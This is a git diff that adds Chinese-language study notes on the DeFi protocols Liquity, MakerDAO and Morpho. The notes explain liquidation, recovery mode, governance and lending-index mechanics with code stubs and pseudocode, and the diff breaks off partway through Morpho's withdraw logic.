+#### 4.1 稳定池处置(Offset undercollateralized Troves against the Stability Pool)
+
+1. 稳定池清算
+
+    > Code: packages/contracts/contracts/TroveManager.sol
+
+    ```ts
+    // 单笔清算
+    function liquidate(address _borrower) external override {}
+
+    // 按金库地址批量清算
+    function batchLiquidateTroves(address[] memory _troveArray) public override {
+        // 这里判断是否可以清算以及金库的清算顺序
+        if (vars.recoveryModeAtStart) {
+            totals = _getTotalFromBatchLiquidate_RecoveryMode(activePoolCached, defaultPoolCached, vars.price, vars.LUSDInStabPool, _troveArray);
+        } else {  //  if !vars.recoveryModeAtStart
+            totals = _getTotalsFromBatchLiquidate_NormalMode(activePoolCached, defaultPoolCached, vars.price, vars.LUSDInStabPool, _troveArray);
+        }
+    }
+
+    // 清算最多 _n 个抵押不足(110%)的金库
+    function liquidateTroves(uint _n) external override{}
+
+    ```
+
+#### 4.2 重新分配(Redistribute undercollateralized Troves to other borrowers)
+
+-   分配方法: 把被清算金库的债务(LUSD 和 ETH)，按照活跃金库的 ETH 抵押比例，进行分配
+-   举例: 7/(1.5+4+7)\*4.3 + 7 = 9.408
+    ![](../pics/redistribute.png)
+
+#### 4.3 例子
+
+## 5. 复原模式(Recovery mode)
+
+---
+
+第三道防线
+
+-   总抵押品比率 (TCR) < 150%, 复原模式就会启动
+    > Code: packages/contracts/contracts/Dependencies/LiquityMath.sol
+    ```ts
+    uint TCR = LiquityMath._computeCR(vars.entireSystemColl, vars.entireSystemDebt, _price);
+    ```
+-   判断是否处于复原模式:
+
+    > Code: packages/contracts/contracts/TroveManager.sol
+
+    ```ts
+    function checkRecoveryMode(uint _price) external view override returns (bool) {
+        return _checkRecoveryMode(_price);
+    }
+    ```
+
+-   清算方式：
+
+    > ICR = 个人抵押品比率
+    > MCR = 最低抵押品比率
+    > TCR = 总抵押品比率
+    > SP = 稳定池
+
+    | 条件              | 清算行为                                                           |
+    | ----------------- | ------------------------------------------------------------------ |
+    | ICR<=100%         | 将所有债务和抵押品（减去 ETH gas 费用）重新分配给活跃的 Troves     |
+    | 100% < ICR < 110% | 稳定池优先处理，余下进行重新分配                                   |
+    | 110%< ICR < TCR   | 由稳定池先清算至 110%水平， 余下可以由债务人自己买回(reclaimable ) |
+    | TCR < ICR         | 不可清算                                                           |
+
+-   复原操作: 当用户调用三种 liquidate 方法时，系统会判断是否进入复原模式(RecoveryMode)
+
+    > Code: packages/contracts/contracts/TroveManager.sol
+
+    ```ts
+        function _liquidateRecoveryMode(
+        IActivePool _activePool,
+        IDefaultPool _defaultPool,
+        address _borrower,
+        uint _ICR,
+        uint _LUSDInStabPool,
+        uint _TCR,
+        uint _price)  internal
+        returns (LiquidationValues memory singleLiquidation){}
+    ```
+
+-   复原模式允许行为:
+    -   添加 ETH
+    -   偿还债务
+    -   同时添加 ETH 和偿还债务
+    -   添加 ETH 和借贷，但是整个交易会提高 TCR 到 150%以上
+
+7. 去中心化前端
+
+-   注册前端运营商：https://github.com/liquity/frontend-registry
+
+    > Code: packages/contracts/contracts/StabilityPool.sol
+
+    ```ts
+     function registerFrontEnd(uint _kickbackRate) external override{}
+
+     function _setFrontEndTag(address _depositor, address _frontEndTag) internal{}
+    ```
+
+-   回扣(kickback)设置: \_kickbackRate, 一次性设置不可更改
+
+8. 结论
+   ![](../pics/Liquity.png)
+
+## 参考链接
+
+-   liquity 和 maker 对比： https://www.chainnews.com/articles/778907264093.htm
+-   创始人解答： https://medium.com/liquity/on-price-stability-of-liquity-64ce8420f753
+-   Bingen. (2021,Feb,23). Liquity System Summary. URL: Github:
+    https://github.com/liquity/beta/blob/main/README.md#liquidation-and-the-stability-pool
+
+-   CaymanMoore. (2021.2.28). URL: Tether:
+    https://tether.to/wp-content/uploads/2021/03/tether-assurance-feb-2021.pdf
+
+-   Kolten. (2021.2). Official Liquity Documentation. URL: Liquity:
+    https://docs.liquity.org/
diff --git a/defi/MakerDAO/MeakerDao.png b/defi/MakerDAO/MeakerDao.png
new file mode 100644
index 000000000..d439372c5
Binary files /dev/null and b/defi/MakerDAO/MeakerDao.png differ
diff --git a/defi/MakerDAO/dao.md b/defi/MakerDAO/dao.md
new file mode 100644
index 000000000..8ac4373d9
--- /dev/null
+++ b/defi/MakerDAO/dao.md
@@ -0,0 +1,75 @@
+# MeakerDAO 
+
+## 简介
+Maker 是以太坊上的智能合约体系，提供了第一个去中心化的基础稳定货币 Dai（可简单理解成以太坊上的美元）和衍生金融体系。Dai 是通过数字资产足额抵押担保发行，1 Dai = 1美元。自2017年上线以来，Dai 始终和美元保持锚定。
+
+假设你有一些加密数字资产，比如以太坊。你不希望卖掉以太，但是需要一笔流动性现金，用来消费或者投资更多的数字资产。
+1.你将1500美元的以太锁入智能合约 (Collateralized Debt Position, 抵押债仓) 之中，作为担保物。
+2.根据该担保物的风险参数 (2/3的折扣)，可生成1000个 Dai，即1000 美元 。
+3.用 Dai 换成美元或投资其他的资产。
+4.当需要取回担保物(以太)时，偿还 1000 个Dai 和极低的利息(以MKR支付, 目前年化 0.5%)，拿回以太并保留获取的收益(来自以太的上涨或用Dai投资的收益)。
+5.当然你也需要承担一定的抵押风险，如果抵押资产市场价格大幅下降，触发MeakerDao的清算机制，你的抵押资产会被即时拍卖掉，你也无法再通过偿还dai来拿回你的抵押物。
+
+## 运行原理
+
+![MeakerDao](./MeakerDao.png)
+
+
+
+## 抵押品拍卖
+
+**Collateral Auction**：中标者向 支付 Dai来清算金库的抵押品。收到的 Dai 用于支付已清算 Vault 中的未偿债务。发生在当抵押品价格大幅度下跌触发清算线的时候，如上图所示，这个时候就可以通过DAI进行出价，竞拍这些抵押品。
+
+## Meaker Buff
+
+支付给抵押品竞拍的DAI将用于清偿债务，会出现两种情况：
+
+1.拍卖所得的DAI不足以支付债务，产生DAI赤字 。
+
+2.拍卖所得的DAI超过债务所需支付的DAI，产生DAI盈余。
+
+为了解决该问题，MeakerDao引入了 Meaker Buff ，Meaker buff 在Dai赤字的时候会从Meaker Buff 中拿出DAI来支付未被支付的债务；而在DAI盈余的时候，多余的DAI将被放入Meaker Buff。Meaker Buff 很像我们现实中的水库，在雨季蓄水，在旱季放水。
+
+然而这个时候依然会存在两个问题：
+
+1.当Meaker Buff中的Dai全部拿出来依然无法偿付债务的时候怎么处理？
+
+2.当Dai一直有盈余的时候，Meaker Buff中会因为太多的Dai，导致Dai流动性不足，这个时候该怎么处理?
+
+MeakerDao的处理方法是引入了Surplus Auction和Debt Auction：
+
+1.当债务无法偿付的时候，会触发Debt Auction，通过铸造MKR并进行拍卖获得Dai来偿付剩余的债务。
+
+2.当Meaker buff 的Dai 超过了限定之后，会触发Surplus Auction，竞拍者可以通过支付MKR进行竞拍获得DAI。
+
+
+
+## MKR代币
+
+MKR 代币 —— Maker 协议的治理型代币 —— 允许其持有者通过 投票 来修改Maker 协议。要注意的是，不只是 MKR 持有者，任何人都可以 提交 提议来发起 MKR 票.
+
+### MKR 持有者的职责
+
+MKR 持有者可以对以下事项进行票决：
+
+· 引入新的担保物类型，并为其设置一组风险参数
+
+· 修改、乃至增加一种或多种现有担保物资产类型的风险参数
+
+· 修改 Dai 存款利率
+
+· 资产抵押率
+
+· 稳定费
+
+· 选出喂价机节点群组
+
+· 选出紧急信息输入者群组
+
+· 触发紧急关停
+
+· 升级系统
+
+### MKR的作用
+
+我们可以看到MKR的作用其实不仅仅是作为治理代币，同时对MeakerDao的债务偿付和DAI的流动性有重大的意义。
diff --git a/defi/MakerDAO/gover.md b/defi/MakerDAO/gover.md
new file mode 100644
index 000000000..0a66a77d1
--- /dev/null
+++ b/defi/MakerDAO/gover.md
@@ -0,0 +1,77 @@
+### MakerDAO 投资美国国债的信息整理
+
+**MakerDAO** 在其治理与资金管理策略中，积极寻求多样化资产储备，近年来通过将部分储备资金投资于美国国债，进一步增强其系统的稳定性和抗风险能力。这一举措旨在通过引入低风险、稳定收益的传统金融资产，优化其稳定币 Dai 的支撑模型，并提高整个系统的资本效率。
+
+
+
+### **背景与原因**
+
+1. **降低波动风险**  
+   MakerDAO 的 Dai 供应主要依赖于加密资产（如 ETH）作为抵押物，而加密资产的高波动性对系统的稳定性构成挑战。通过将部分储备资金投资于低风险的传统金融资产如美国国债，可以缓解这种风险。
+
+2. **稳定收益来源**  
+   美国国债被认为是全球最安全的资产之一，能够为 MakerDAO 提供稳定的利息收益。这些收益可以用于支付系统运营费用、奖励治理代币持有者，或提高 Dai 的资本利用率。
+
+3. **分散资产风险**  
+   除了加密货币，加入美国国债等法币资产作为储备，可以进一步分散风险，提高系统的抗经济冲击能力。
+
+
+
+### **投资机制**
+
+MakerDAO 的美国国债投资通过以下方式实现：
+
+1. **与传统金融机构合作**  
+   MakerDAO 通过合作伙伴（如托管机构或资产管理公司）间接购买美国国债。这些机构负责资产的托管与管理，确保合规性与透明性。
+
+2. **Dai 支持的资金池**  
+   系统中的超额抵押资产被部分转换为储备资金，通过 MakerDAO 的治理决策分配到购买美国国债的资金池中。
+
+3. **收益的使用**  
+   美国国债产生的利息收益被注入 MakerDAO 的储备金，用于支持系统运作，或通过治理机制分配给 MKR 持有者和 Dai 用户。
+
+
+
+### **重要决策与治理**
+
+MakerDAO 社区通过治理投票决定投资的实施细节，包括：
+- 投资金额和比例（如储备资金中的多少百分比用于国债投资）。
+- 投资期限（短期国债 vs 长期国债）。
+- 合作机构的选择与费用透明度。
+
+例如：
+- 2023 年，MakerDAO 社区通过了一项提案，将 **5 亿美元** 的储备金分配给美国国债资产。这笔资金的分配包括短期国债和债券基金，以确保资金的流动性和安全性。
+
+
+
+### **优势与挑战**
+
+#### **优势**
+1. **增加稳定性**  
+   通过多元化资产储备，减轻对加密资产市场波动的依赖，提高 Dai 的稳定性。
+2. **收益可观**  
+   美国国债的稳定收益为 MakerDAO 提供额外的资金来源，提升系统的长期可持续性。
+3. **增强信任**  
+   引入传统资产管理机制，使传统金融市场的参与者对 DeFi 系统更具信任。
+
+#### **挑战**
+1. **合规问题**  
+   投资传统金融资产需要遵守各国的金融监管法规，可能增加系统复杂性。
+2. **流动性管理**  
+   虽然美国国债较为稳定，但其流动性不如加密资产灵活，这可能在极端市场情况下对 Dai 的供应造成一定压力。
+3. **与去中心化的平衡**  
+   引入传统金融资产可能被批评为偏离完全去中心化的理念。
+
+
+
+### **未来展望**
+
+随着 MakerDAO 持续优化其资产储备策略，投资美国国债的成功经验可能为其他 DeFi 项目树立榜样。未来可能的方向包括：
+- **增加投资规模**：逐步扩大储备资金的国债投资比例，以增强系统稳定性。
+- **探索其他低风险资产**：如投资公司债券或其他稳定收益资产，进一步丰富储备多样性。
+- **加强透明度**：通过实时披露投资组合和收益情况，增强社区信任。
+
+
+### **相关参考**
+1. MakerDAO 官方治理提案与执行：https://makerdao.com
+2. 投资美国国债的官方公告：[Maker Governance Forum](https://forum.makerdao.com)
diff --git a/defi/MakerDAO/readme.md b/defi/MakerDAO/readme.md
new file mode 100644
index 000000000..c315a0f03
--- /dev/null
+++ b/defi/MakerDAO/readme.md
@@ -0,0 +1,49 @@
+# MakerDAO
+MakerDAO 是一个基于以太坊的去中心化自治组织（DAO）和智能合约系统。它以双币模式运行，其中 MKR 是治理代币，Dai 是与美元锚定的稳定币。通过 MakerDAO，用户可以抵押数字资产以获得稳定币 Dai，用于去中心化金融（DeFi）生态中的交易、支付和储值。MakerDAO 系统是去中心化金融领域的基石之一，推动了稳定币和去中心化治理的发展。
+
+
+## DAI
+Dai 是一种与美元 1:1 锚定的去中心化稳定币。它通过超额抵押资产来保持价格稳定，避免了对传统银行系统的依赖。Dai 的特性包括：
+
+抵押生成：用户将数字资产（如 ETH 或其他支持的资产）存入 Maker Vault，作为抵押品来生成 Dai。
+去中心化：Dai 的生成和管理完全依赖于区块链上的智能合约，无需任何中心化机构的参与。
+应用场景广泛：Dai 可用于支付、借贷、储值、交易以及其他 DeFi 协议中的操作。
+Dai 的供应量随着用户需求动态变化，维持其稳定性主要依赖于 MakerDAO 的治理和市场机制。
+
+## MAKER
+MKR 是 MakerDAO 系统的治理代币，也是整个系统的价值承载工具。MKR 的功能包括：
+
+治理投票：MKR 持有者可以参与 MakerDAO 的治理决策，如调整抵押率、债务上限和稳定费用等关键参数。
+风险管理：在系统无法覆盖所有债务的极端情况下，MKR 持有者通过投票决定是否进行全局清算，或通过发行更多 MKR 来覆盖债务缺口。
+稳定费用支付：借贷生成 Dai 的用户需要支付稳定费用，这些费用通过智能合约以 MKR 支付并销毁，减少 MKR 总供应量，从而提升 MKR 的价值。
+MKR 的价值与 MakerDAO 系统的稳定性和发展息息相关，其供需关系也直接影响 MKR 在市场上的价格。
+
+
+**清算**
+清算要进行13%的罚款；
+当抵押物的价值下降得太快以至于抵押物价值不足以抵偿债务的时候，会发生什么情况？
+中心化的交易所通常通过一些保险基金或者一些面向用户的公关手段来弥补此类损失。
+一旦系统到了全部抵押物价值不足以偿还全部债务的时候，Maker会通过发行和拍卖新的MKR（MakerDAO系统的治理代币）来进行资本重组。把新发行的MKR出售，买家需要从市场上收回Dai来购买MKR，购买新发行MKR的这些Dai被销毁，直到Maker系统回到抵押物价值大于全部债务的状态。投标人可以尽可能高的报出MKR/Dai价格（当然要在自己的意愿可接受范围内），出价最高的投标人会中标，实现交易，完成偿还系统债务。
+
+拍卖规则：
+在拍卖过程中，清算者要为固定数量的ETH用Dai出价来竞标，直到达到一个底价。这些出价要满足：
+- 必须在距上一次出价后的一个固定时间窗口内完成出价
+- 必须比上一次出价高出固定数量的Dai
+- 必须在拍卖结束之前出价
+
+
+
+## 参考链接
+- maker 文档： 
+https://makerdao.com/zh-CN/whitepaper/#%E6%91%98%E8%A6%81
+- makerdao介绍简书：
+https://www.jianshu.com/p/098ccb4122ef
+- maker清算：
+https://medium.com/dragonfly-research/liquidators-the-secret-whales-helping-defi-function-acf132fbea5e
+
+- maker 312暴跌： 
+https://medium.com/dragonfly-research/daos-ex-machina-an-in-depth-timeline-of-makers-recent-crisis-66d2ae39dd65
+
+- makerdao 总述：
+https://icode9.com/content-4-831617.html  
+- makerDAO 治理：https://frosted-source-636.notion.site/Makerdao-61f91a71b32e4a3093a683ae6e4bab19
\ No newline at end of file
diff --git a/defi/Morpho/pictures/adjustAPY.png b/defi/Morpho/pictures/adjustAPY.png
new file mode 100644
index 000000000..eaf5ce3b7
Binary files /dev/null and b/defi/Morpho/pictures/adjustAPY.png differ
diff --git a/defi/Morpho/pictures/borrowAPY2LendAPY.png b/defi/Morpho/pictures/borrowAPY2LendAPY.png
new file mode 100644
index 000000000..e24e942ca
Binary files /dev/null and b/defi/Morpho/pictures/borrowAPY2LendAPY.png differ
diff --git a/defi/Morpho/pictures/borrowCapacity.png b/defi/Morpho/pictures/borrowCapacity.png
new file mode 100644
index 000000000..39e85af1e
Binary files /dev/null and b/defi/Morpho/pictures/borrowCapacity.png differ
diff --git a/defi/Morpho/pictures/borrowDelta.png b/defi/Morpho/pictures/borrowDelta.png
new file mode 100644
index 000000000..48460a29f
Binary files /dev/null and b/defi/Morpho/pictures/borrowDelta.png differ
diff --git a/defi/Morpho/pictures/borrowFlow.png b/defi/Morpho/pictures/borrowFlow.png
new file mode 100644
index 000000000..aa35bdd45
Binary files /dev/null and b/defi/Morpho/pictures/borrowFlow.png differ
diff --git a/defi/Morpho/pictures/borrowOverFlow.png b/defi/Morpho/pictures/borrowOverFlow.png
new file mode 100644
index 000000000..ef95e3e31
Binary files /dev/null and b/defi/Morpho/pictures/borrowOverFlow.png differ
diff --git a/defi/Morpho/pictures/borrowUnmatch.png b/defi/Morpho/pictures/borrowUnmatch.png
new file mode 100644
index 000000000..8f58d45ff
Binary files /dev/null and b/defi/Morpho/pictures/borrowUnmatch.png differ
diff --git a/defi/Morpho/pictures/compoundAPY.png b/defi/Morpho/pictures/compoundAPY.png
new file mode 100644
index 000000000..59c71a2f9
Binary files /dev/null and b/defi/Morpho/pictures/compoundAPY.png differ
diff --git a/defi/Morpho/pictures/depositFlow.png b/defi/Morpho/pictures/depositFlow.png
new file mode 100644
index 000000000..bd18415a0
Binary files /dev/null and b/defi/Morpho/pictures/depositFlow.png differ
diff --git a/defi/Morpho/pictures/morphoAPY.png b/defi/Morpho/pictures/morphoAPY.png
new file mode 100644
index 000000000..49685bb97
Binary files /dev/null and b/defi/Morpho/pictures/morphoAPY.png differ
diff --git a/defi/Morpho/pictures/morphoBorrow.png b/defi/Morpho/pictures/morphoBorrow.png
new file mode 100644
index 000000000..5ee5ee281
Binary files /dev/null and b/defi/Morpho/pictures/morphoBorrow.png differ
diff --git a/defi/Morpho/pictures/morphoSupply.png b/defi/Morpho/pictures/morphoSupply.png
new file mode 100644
index 000000000..5ea28b644
Binary files /dev/null and b/defi/Morpho/pictures/morphoSupply.png differ
diff --git a/defi/Morpho/pictures/repayBalance.png b/defi/Morpho/pictures/repayBalance.png
new file mode 100644
index 000000000..ef95e3e31
Binary files /dev/null and b/defi/Morpho/pictures/repayBalance.png differ
diff --git a/defi/Morpho/pictures/repayBorrowDelta.png b/defi/Morpho/pictures/repayBorrowDelta.png
new file mode 100644
index 000000000..86e9eaaff
Binary files /dev/null and b/defi/Morpho/pictures/repayBorrowDelta.png differ
diff --git a/defi/Morpho/pictures/repayP2P.png b/defi/Morpho/pictures/repayP2P.png
new file mode 100644
index 000000000..4fe0f7cb1
Binary files /dev/null and b/defi/Morpho/pictures/repayP2P.png differ
diff --git a/defi/Morpho/pictures/repaySupplyDelta.png b/defi/Morpho/pictures/repaySupplyDelta.png
new file mode 100644
index 000000000..48460a29f
Binary files /dev/null and b/defi/Morpho/pictures/repaySupplyDelta.png differ
diff --git a/defi/Morpho/pictures/replayMatch.png b/defi/Morpho/pictures/replayMatch.png
new file mode 100644
index 000000000..838739b31
Binary files /dev/null and b/defi/Morpho/pictures/replayMatch.png differ
diff --git a/defi/Morpho/pictures/supplyBorrowBalance.png b/defi/Morpho/pictures/supplyBorrowBalance.png
new file mode 100644
index 000000000..838739b31
Binary files /dev/null and b/defi/Morpho/pictures/supplyBorrowBalance.png differ
diff --git a/defi/Morpho/pictures/supplyDelta.png b/defi/Morpho/pictures/supplyDelta.png
new file mode 100644
index 000000000..48460a29f
Binary files /dev/null and b/defi/Morpho/pictures/supplyDelta.png differ
diff --git a/defi/Morpho/pictures/supplyMatch.png b/defi/Morpho/pictures/supplyMatch.png
new file mode 100644
index 000000000..9e3c667ff
Binary files /dev/null and b/defi/Morpho/pictures/supplyMatch.png differ
diff --git a/defi/Morpho/pictures/targetAPY.png b/defi/Morpho/pictures/targetAPY.png
new file mode 100644
index 000000000..49685bb97
Binary files /dev/null and b/defi/Morpho/pictures/targetAPY.png differ
diff --git a/defi/Morpho/readme.md b/defi/Morpho/readme.md
new file mode 100644
index 000000000..a89fd5edd
--- /dev/null
+++ b/defi/Morpho/readme.md
@@ -0,0 +1,428 @@
+## Morpho 是什么  
+Morpho是一个基于以太坊的借贷池优化器，通过点对点的匹配，为贷款人和借款人提供更好的利率。 
+在 Morpho 的白皮书中，Morpho 描述自己的产品定位是 “流动性协议优化器”  
+
+- 以 Compound 上  ETH 收益为例  
+<img src=./pictures/compoundAPY.png width=50% />   
+
+- 对应的曲线  
+可以看到 Borrow 的平均年化收益率 为 0.1％，Supply 平均年化收益率为 2.7％  
+<img src=./pictures/borrowAPY2LendAPY.png width=50% />   
+
+- Morpho 的目标就是降低 Borrow 的年化利率，提高 Supply 的年化利率，就是中间这条蓝色的曲线  
+<img src=./pictures/morphoAPY.png width=50% />  
+
+- 具体操作如下   
+    - 对于 Supplier   
+        Step1: Supplier 存入资金到 Morpho  
+        Step2: Morpho 把资金转存到 Compound    
+        Step3: Compound mint cToken 给 Morpho  
+        <img src=./pictures/morphoSupply.png width=50% /> 
+
+    - 对于 Borrower  
+        Step4:  存入抵押品，这一步可以视为 上面 Supplier 的操作   
+        Step5、6:  Morpho 使用 cToken 换取 Supplier 存入的资金    
+        Step7:   把从 Compound 提取出来的资金借给 Borrower    
+        <img src=./pictures/morphoBorrow.png width=50% /> 
+
+    以上就是 Morpho 的整体流程，像是没有 Supplier 的时候，如果有用户进行 Borrow 需要怎么处理 ？或是 Supplier 和 Borrower 匹配成功后，Supplier 进行 withdraw 的时候需要怎么处理 ？ 这些都是在 deposit, borrow, withdraw, repay , liquidate 接口进行的更加细致话的处理
+
+## Deposit 
+Deposit 的接口流程伪代码如下
+```
+supply(user, amount):
+	update_Index()  // 更新 Index
+  transfer(user, Morpho, amount)  // 把用户资金转入到 Morpho 中
+
+	// Peer-to-peer supply
+	//// Promote borrowers
+	matched = matchBorrowers(amount)    // 作为 Supplier, 寻找对手方 Borrower 进行匹配，
+                                      //  返回匹配到的最大资金量
+  
+
+	supply_p2p(user) += matched / index_p2p  // 更新用户的 p2p supply 基数
+
+
+	amount -= matched                    // 更新 amount
+
+
+  repay(Morpho, matched)               // 把 matched 的资金偿还给 compound pool，因为这部分资金
+                                       // 开始是 Borrower 从 Compound 池中借出的，
+                                       // 现在直接和 Supplier 匹配了，就需要偿还这部分资金
+
+	// Pool supply
+	supply_pool(user) += amount / index_pool  // 更新用户的 pool supply 基数
+	supply(Morpho, amount)                // 把剩余的，未匹配的 amount 存入到 compound 中
+```   
+
+<img src=./pictures/depositFlow.png width=50% /> 
+
+### 关键点解析  
+#### Compound 中对于 Supplier 使用汇率的方式计算 Supplier 的本息总额  
+    $汇率 = \frac {资产 token 总数} {cToken总数}$   
+    $资产token总数 = underlyingBalance + totalBorrowBalance - reserves$  
+    $cToken总数 = cTokenSupply$    
+    $underlyingBalance : 池子中现货 token 的数量$    
+    $totalBalance: 池子中总共借出去的 token 数量，含利息$    
+    $reserve: 池子自己的储备金$      
+    Compound Supplier  的计算具体可参考 [Compound白皮书的思考](https://learnblockchain.cn/article/3153)   
+
+
+#### Compound 中 BorrowerIndex  、totalBorrow 的计算方式    
+    $Amount = 用户初始输入的借贷金额$    
+    $latestBorrowIndex = borrowIndexInit * (1 + borrowRate(\Delta Blocks) )^{n}$      
+    （ 注： 为了简化理解，上述式子中的 borrowIndexInit 可以取 1 )   
+    $BorrowAmount = \frac {Amount} {latestBorrowIndex}$     
+    $totalBorrow = BorrowAmount * latestBorrowIndex$    
+    $n = 经过的块高或是时长( second )$     
+    Compound Index 计算具体可参考 [Compound 合约部署](https://github.com/Dapp-Learning-DAO/Dapp-Learning/blob/main/defi/Compound/contract/Compound%E5%90%88%E7%BA%A6%E9%83%A8%E7%BD%B2.md)   
+
+#### update_Index 逻辑
+前面说过，Morpho 的目标是求取 Borrow APY ( 代码中使用 poolBorrowGrowthIndex 表示 )、 Supply APY  ( 代码中使用 poolSupplyGrowthIndex 表示 ) 以及 target APY ( 代码中使用 p2pGrowthIndex 表示 )  ，以便 Borrower 和 Supplier 都受益。  Morpho 中的 index 就是这个 target APY。  
+后面使用 targetIndex 描述 target APY  
+<img src=./pictures/targetAPY.png width=50% />   
+
+
+对于每一个借贷 Token，会设置一个 p2pIndexCursor 和  reserveFactor。 
+- p2pIndexCursor 用于计算 p2pGrowthIndex   
+- reserveFactor 设置 Morpho 的 p2p 借贷手续费，这个手续费只在用户进行 p2p 借贷的时候才会收取，如果直接向 compound 借贷是不会收取这个手续费  
+```
+struct MarketParameters {
+        uint16 reserveFactor; // Proportion of the interest earned by users sent to the DAO for each market, in basis point (100% = 10 000). The value is set at market creation.
+        uint16 p2pIndexCursor; // Position of the peer-to-peer rate in the pool's spread. Determine the weights of the weighted arithmetic average in the indexes computations ((1 - p2pIndexCursor) * r^S + p2pIndexCursor * r^B) (in basis point).
+    }
+```
+$p2pGrowthIndex = (1 - p2pIndexCursor) * poolSupplyGrowthIndex + p2pIndexCursor * poolBorrowGrowthIndex$ 
+
+$p2pBorrowGrowthIndex = p2pIndex + (poolBorrowGrowthIndex - p2pIndex ) * reserveFactor$
+
+$p2pSupplyGrowthIndex = p2pIndex - (p2pIndex -  poolSupplyGrowthIndex ) * reserveFactor$
+$p2pSupplyIndex = p2pIndex - (p2pIndex -  poolSupplyIndex ) * reserveFactor$  
+
+<img src=./pictures/adjustAPY.png width=50% />   
+
+最后，得到 p2pSupplyGrowthIndex 和 p2pBorrowGrowthIndex 后，就可以计算  
+$p2pSupplyIndex = p2pSupplyIndex * (1 + p2pSupplyGrowthIndex )$    
+$p2pBorrowIndex = p2pBorrowIndex * ( 1 + p2pBorrowGrowthIndex )$  
+
+
+#### Index 计算方式，和 $Supply_{p2p}$ ， $Supply_{pool}$ 的关系  
+- Index  在 Morpho 中用于计算借款利率，贷款利率 和 Compound 中的 borrowIndex 类似
+- 在 Morpho 的黄皮书中， 使用 λ 进行描述，这里为了便于理解统一使用 Index 描述。而且在 Morpho 的合约中，实际也是使用 Index 进行标识的
+- $Supply_{p2p}$ ， $Supply_{pool}$  分别保存用户的 p2p 贷款基数，和 pool 贷款基数
+
+假设 Index 以每天 20% 的速率递增   
+|  | 操作 | Morpho 状态 |
+| --- | --- | --- |
+| 第 0 天 |     | Index = 1 |
+| 第一天 | $User_{A}$ 存入 100 Dai | Index = 1 * ( 1 + 0.2 ) = 1.2   ( 首先更新 Index 后再进行其他计算  ）
+$Supply_{pool}[User_{A}]$ = $\frac {100} {1.2}$ = 83.333 |
+| 第二天 |  | Index = 1.2 * ( 1 + 0.2 ) = 1.44  ( 首先更新 Index 后再进行其他计算  ）
+$Supply_{pool}[User_{A}]$ = 83.333 |
+| 第三天 |  $User_{B}$ 存入 200 Dai | Index = 1.44 * ( 1 + 0.2 ) = 1.728 ( 首先更新 Index 后再进行其他计算  ）
+$Supply_{pool}[User_{A}]$ = 83.333
+$Supply_{pool}[User_{B}]$ = $\frac {200} {1.728}$ = 115.7407 |  
+
+#### Supplier 和 Borrower 队列更新逻辑  
+队列按照 Supplier （ 或是 Borrower ） 尚未匹配 p2p 的资金大小进行排序    
+| Head | Second | Third | Fourth |
+| --- | --- | --- | --- |
+| User_A ( 100 Dai ) | User_B ( 80 Dai ) | User_C ( 60 Dai ) | User_D ( 20 Dai ) |
+
+队列具体更新逻辑可以参考 [DoubleLinkedList.sol](https://etherscan.io/address/0xe3d7a242614174ccf9f96bd479c42795d666fc81#code)
+
+
+#### 在匹配回路内允许消耗的最大的 gas     
+查看用户 deposit 时的接口代码，可以看到，在接口输入中有一个 _maxGasForMatching 参数，用于设置在匹配 Borrower 时允许消耗的 gas 大小
+
+```
+/// @dev Implements supply logic.
+    /// @param _poolToken The address of the pool token the user wants to interact with.
+    /// @param _from The address of the account sending funds.
+    /// @param _onBehalf The address of the account whose positions will be updated.
+    /// @param _amount The amount of token (in underlying).
+    /// @param _maxGasForMatching The maximum amount of gas to consume within a matching engine loop.
+    function supplyLogic(
+        address _poolToken,
+        address _from,
+        address _onBehalf,
+        uint256 _amount,
+        uint256 _maxGasForMatching
+    )
+```  
+
+## Borrow  
+Borrow 的接口流程伪代码如下
+
+```
+borrow(user, amount):
+	update_Index()
+	if amount * pθ > borrow_capacity(user):  // 判断借款金额是否超过抵押品价值
+		return
+
+	transfer(Morpho, user, initialAmount)   // 转入用户资金到 Morpho
+	initialAmount = amount
+	
+	// Peer-to-peer borrow
+	//// Promote suppliers
+	matched = matchSuppliers(amount)       // 作为 Borrow 寻找匹配的 Supplier 对手方
+                                         // 返回匹配到的最大资金量
+
+	borrow_p2p(user) += matched / index_p2p    // 更新用户的 p2p borrow 基数
+
+	amount -= matched                     // 更新 amount
+
+	withdraw(Morpho, matched)            // 把 matched 的资金从 compound pool 中提取出来，
+
+	// Pool borrow
+	borrow_pool(user) += amount / index_pool  // 更新用户的 pool borrow 数据
+	borrow(Morpho, amount)                   // 从 pool 中借出对应的金额
+``` 
+<img src=./pictures/borrowFlow.png width=50% />   
+
+### 关键点解析 
+- 判断用户的借款金额是否超出它的抵押品价值   
+这里在 borrow_capacity 进行判断是否允许用户再次进行   
+<img src=./pictures/borrowCapacity.png width=50% />  
+- Borrow 流程
+整体的 Borrow 流程和 Supply 类似，但是中间有一个特殊的处理  
+但是随着交易的进行会出现 $P2P_{supply}$ 大于  $P2P_{borrow}$ 的情况，在下面的 repay 接口中会描述如何产生这种情况。  
+在这种情况下，这部分 $\Delta {P2P_{supply}}$  是 Morpho 按照 p2p 的 supply 提供给 supplier 的, 但是实际这部资金 Morpho 又会存入到 Compound 中，按照 pool supply 的利率从 Compound 中收取利息。所以这里就会存在一个利率差  
+
+<img src=./pictures/borrowDelta.png width=50% />      
+
+用户在 Borrow 的时候，Morpho 会首先把这部分资金匹配给 Borrower，以减少损失  
+
+## Withdraw  
+withdraw 的接口流程伪代码如下    
+```
+withdraw(user, amount):
+	update_index()
+	if amount * Fθ * pθ > borrow_capacity(user):  // 判断 withdraw 金额是否合法
+		return
+	initialAmount = amount
+
+	// Pool withdraw
+	withdrawnFromPool = min(amount, supply_pool(user) * index_pool )  //优先从 compound pool 中 withdraw
+	
+	supply_pool(user) -= withdrawnFromPool / index_pool    // 更新用户的 pool supply 记录
+	
+	amount -= withdrawnFromPool                          //更新需要从 p2p pool 中提取的资金
+	
+	withdraw(Morpho, withdrawnFromPool)         // 从 compound pool 中提取资金
+
+	// Promote suppliers
+	matched = matchSuppliers(amount)      // 如果当前 user 作为 supplier 已经匹配了对应的 borrower
+									                      // 则使用其他的 supplier 替换当前的 user 作为 p2p 的 supplier
+
+	supply_p2p(user) -= matched / index_p2p  // 更新用户的 p2p supply 值
+
+	amount -= matched
+
+	withdraw(Morpho, matched)           // 提取匹配到的 replace 当前 user 的 supplier 的资金
+
+	// Demote borrowers
+	unmatched = unmatchBorrowers(amount)   // 剩余 p2p supply 资金无法找到 replace supplier 
+                                         // 只能把一些 p2p borrower 降级为 pool borrower
+
+	supply_p2p (user) -= unmatched / index_pool  // 更新 user 的 p2p supply
+
